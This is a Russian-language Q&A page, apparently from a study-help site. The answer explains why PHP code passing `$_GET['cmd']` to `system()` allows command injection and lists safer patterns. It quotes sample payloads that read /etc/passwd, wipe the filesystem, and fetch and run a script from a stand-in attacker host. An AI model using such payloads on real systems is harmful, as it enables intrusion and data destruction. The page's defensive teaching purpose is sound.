Разберите PHP-фрагмент, уязвимый к выполнению команд: $cmd = $_GET['cmd']; system($cmd); — какие опасности это несёт и какие безопасные архитектурные и кодовые альтернативы следует использовать при необходимости взаимодействия с ОС?

23 Авг в 04:12
22 +1
1
Ответы
1
Кратко — что происходит и почему опасно
- Фрагмент ` $cmd = $_GET['cmd']; system($cmd); ` передаёт произвольную пользовательскую строку в оболочку. Это классическая уязвимость Command Injection / RCE: атакующий может выполнить любую команду ОС, например чтение/удаление файлов, запуск бэкдоров, раскрытие секретов, эскалацию привилегий, отказ в обслуживании и т.д.
- Примеры полезных полезтов: `ls; cat /etc/passwd`, `$(rm -rf /)`, `; wget http://attacker/x -O- | sh`. Последствия — утечка данных, уничтожение данных, выполнение кода под привилегиями веб-сервера (часто uid 000 — если допущены ошибки конфигурации), распространение в сети.
Какие угрозы конкретно
- Удалённое выполнение команд (RCE).
- Доступ к файлам системы (включая конфиги и креды).
- Эскалация привилегий (если сервис запущен с большими правами).
- Постоянное заражение (установка бэкдора).
- Нарушение целостности/доступности сервиса (rm, fork bomb и т. п.).
Безопасные архитектурные подходы (предпочтительные)
- По возможности вовсе не вызывать shell: решайте задачу средствами PHP (файлы, сеть, база данных, cron и т. п.).
- Вынос привилегированных операций в отдельный сервис/демон с чётким API и аутентификацией (например, microservice или очередь задач). Веб‑процесс передаёт только безопасные данные/команды этому сервису.
- Запускать внешние команды в изолированной среде (контейнер, chroot, SELinux/AppArmor) и под минимальными привилегиями (не root).
- Применять аудит, логирование, лимиты ресурсов и таймауты для операций, которые выполняются в ОС.
Кодовые практики и конкретные меры
- Никогда не вставляйте пользовательский ввод «как есть» в вызов shell.
- Валидировать и ограничивать вход: whitelist разрешённых команд/параметров и строгие регулярные проверки (например, разрешённый набор ключевых имен или чисел).
- Если нужно передать аргументы внешней программе — экранируйте аргументы, а не весь набор:
- `escapeshellarg($arg)` для отдельных аргументов; учтите, что это не решает проблему, если вы разрешаете произвольный набор команд.
- `escapeshellcmd()` помогает, но не всесилен и не заменяет whitelist.
- Лучше использовать библиотеки/интерфейсы, которые избегают вызова shell: например Symfony Process (передаёт аргументы как массив, без интерпретации оболочкой).
- Ограничьте набор функций PHP на сервере (`disable_functions` в php.ini) если некоторые функции не нужны (например `system`, `exec`, `passthru`, `shell_exec`).
- Используйте sudoers для строго определённых команд: разрешите конкретному unprivileged-пользователю запускать конкретный бинарь с фиксированными аргументами через sudo без пароля. Но даже это — только с чётким whitelist и полным путём к бинарнику.
- Логируйте все запросы, проверяйте и ограничивайте частоту (rate limiting), вводные длины и набор символов.
Примеры безопасных паттернов
1) Полный whitelist команд (рекомендуется):
```
$allowed = [
'status' => '/usr/bin/mytool --status',
'restart' => '/usr/bin/mytool --restart'
];
$cmd = $_GET['cmd'] ?? '';
if (!isset($allowed[$cmd])) {
http_response_code(400);
exit('Bad command');
}
exec($allowed[$cmd], $out, $rc);
```
2) Если нужно передавать аргумент — whitelist команды + escapeshellarg для аргумента:
```
$action = $_GET['action'] ?? '';
$arg = $_GET['id'] ?? '';
$allowed_actions = ['show','delete'];
if (!in_array($action, $allowed_actions, true) || !preg_match('/^\d+$/', $arg)) {
exit('Bad input');
}
$bin = '/usr/bin/mytool';
$cmd = $bin . ' ' . escapeshellarg($action) . ' ' . escapeshellarg($arg);
exec($cmd, $out, $rc); // rc == 0 — успех
```
Обратите внимание: проверяем формат аргумента `^\d+$` и используем абсолютный путь к бинарю.
3) Ещё лучше — использовать компонент, который передаёт аргументы как массив (Symfony Process пример):
```
use Symfony\Component\Process\Process;
$process = new Process(['/usr/bin/mytool', $action, $arg]);
$process->setTimeout(30);
$process->run();
```
При передаче массива аргументы не интерпретируются оболочкой, снижается риск инъекции.
Краткие практические рекомендации (итог)
- Не выполнять `system($_GET['cmd'])` ни при каких условиях.
- Используйте whitelist, строгую валидацию и экранирование аргументов.
- Предпочитайте PHP‑функции или отдельный проверенный сервис вместо прямых вызовов shell.
- Запускайте выполняющий код под ограниченными привилегиями и в изоляции; логируйте и ставьте лимиты.
Если нужно — могу привести пример безопасной реализации конкретной задачи (какая именно команда/операция у вас требуется) — с кодом и архитектурой.
23 Авг в 04:17
Не можешь разобраться в этой теме?
Обратись за помощью к экспертам
Гарантированные бесплатные доработки в течение 1 года
Быстрое выполнение от 2 часов
Проверка работы на плагиат
Поможем написать учебную работу
Прямой эфир